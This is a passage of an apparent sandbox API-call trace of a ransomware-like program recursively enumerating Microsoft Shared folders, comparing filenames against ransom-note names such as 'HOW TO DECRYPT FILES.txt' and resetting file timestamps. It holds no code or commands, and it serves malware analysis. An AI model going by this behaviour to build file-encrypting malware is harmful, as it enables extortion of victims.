(pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX", pszSpec="*.ems") returned 0 [0059.612] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0059.612] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.612] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSB1CORE.DLL") returned -1 [0059.612] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSB1CORE.DLL") returned -1 [0059.612] lstrcmpiA (lpString1="", lpString2="MSB1CORE.DLL") returned -1 [0059.613] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX") returned="MSB1CACH.LEX" [0059.613] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" [0059.613] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\") returned="" [0059.613] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO DECRYPT FILES.txt" [0059.613] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\how to decrypt files.txt")) returned 0x20 [0059.613] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="MSB1CORE.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" [0059.613] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL", pszSpec="*.ems") returned 0 [0059.613] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0059.613] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.613] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSB1STAR.DLL") returned -1 [0059.613] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSB1STAR.DLL") returned -1 [0059.613] lstrcmpiA (lpString1="", lpString2="MSB1STAR.DLL") returned -1 [0059.613] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL") returned="MSB1CORE.DLL" [0059.613] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" [0059.613] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\") returned="" [0059.613] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO DECRYPT FILES.txt" [0059.613] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\how to decrypt files.txt")) returned 0x20 [0059.613] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="MSB1STAR.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" [0059.614] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", pszSpec="*.ems") returned 0 [0059.614] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0059.614] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.614] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSB1XTOR.DLL") returned -1 [0059.614] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSB1XTOR.DLL") returned -1 [0059.614] lstrcmpiA (lpString1="", lpString2="MSB1XTOR.DLL") returned -1 [0059.614] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL") returned="MSB1STAR.DLL" [0059.614] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" [0059.614] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\") returned="" [0059.614] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO DECRYPT FILES.txt" [0059.614] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\how to decrypt files.txt")) returned 0x20 [0059.614] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\", lpString2="MSB1XTOR.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" [0059.614] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", pszSpec="*.ems") returned 0 [0059.614] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0059.614] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.614] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WTSP61MS.DLL") returned -1 [0059.615] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WTSP61MS.DLL") returned -1 [0059.615] lstrcmpiA (lpString1="", lpString2="WTSP61MS.DLL") returned -1 [0059.615] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL") returned="MSB1XTOR.DLL" [0059.615] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" [0059.615] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\") returned="" [0059.615] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0059.615] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0059.615] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Triedit", cAlternateFileName="")) returned 1 [0059.615] lstrcmpA (lpString1=".", lpString2="Triedit") returned -1 [0059.615] lstrcmpA (lpString1="..", lpString2="Triedit") returned -1 [0059.615] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0059.615] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0059.616] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.616] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.616] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.616] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.616] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0059.616] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0059.616] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0059.616] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*") returned="*.*" [0059.616] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.617] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.617] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.617] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.618] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.618] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 0 [0059.618] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0059.618] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0059.618] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0059.618] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720054, dwReserved1=0x3, cFileName="VBA", cAlternateFileName="")) returned 1 [0059.618] lstrcmpA (lpString1=".", lpString2="VBA") returned -1 [0059.618] lstrcmpA (lpString1="..", lpString2="VBA") returned -1 [0059.618] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0059.618] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e0065, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x4f8190 [0059.619] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.619] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.619] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.619] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.620] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0059.620] lstrcmpA (lpString1=".", lpString2="VBA7") returned -1 [0059.620] lstrcmpA (lpString1="..", lpString2="VBA7") returned -1 [0059.620] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*") returned="*.*" [0059.620] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0059.621] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.621] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.621] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.621] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.621] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0059.621] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0059.621] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0059.621] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*") returned="*.*" [0059.621] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fb4e8, dwReserved1=0x4fb4e3, cFileName=".", cAlternateFileName="")) returned 0x4f8260 [0059.627] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.627] FindNextFileA (in: hFindFile=0x4f8260, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.627] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.627] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.628] FindNextFileA (in: hFindFile=0x4f8260, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0059.628] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0059.628] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FM20.CHM") returned -1 [0059.628] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FM20.CHM") returned 1 [0059.628] lstrcmpiA (lpString1="", lpString2="FM20.CHM") returned -1 [0059.628] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*") returned="*.*" [0059.628] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" [0059.628] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="" [0059.630] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.630] CloseHandle (hObject=0x94) returned 1 [0059.630] FindNextFileA (in: hFindFile=0x4f8260, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x4f8580, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0059.630] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0059.630] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VBCN6.CHM") returned -1 [0059.630] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VBCN6.CHM") returned -1 [0059.630] lstrcmpiA (lpString1="", lpString2="VBCN6.CHM") returned -1 [0059.630] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned="FM20.CHM" [0059.630] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" [0059.630] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="" [0059.630] FindNextFileA (in: hFindFile=0x4f8260, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, 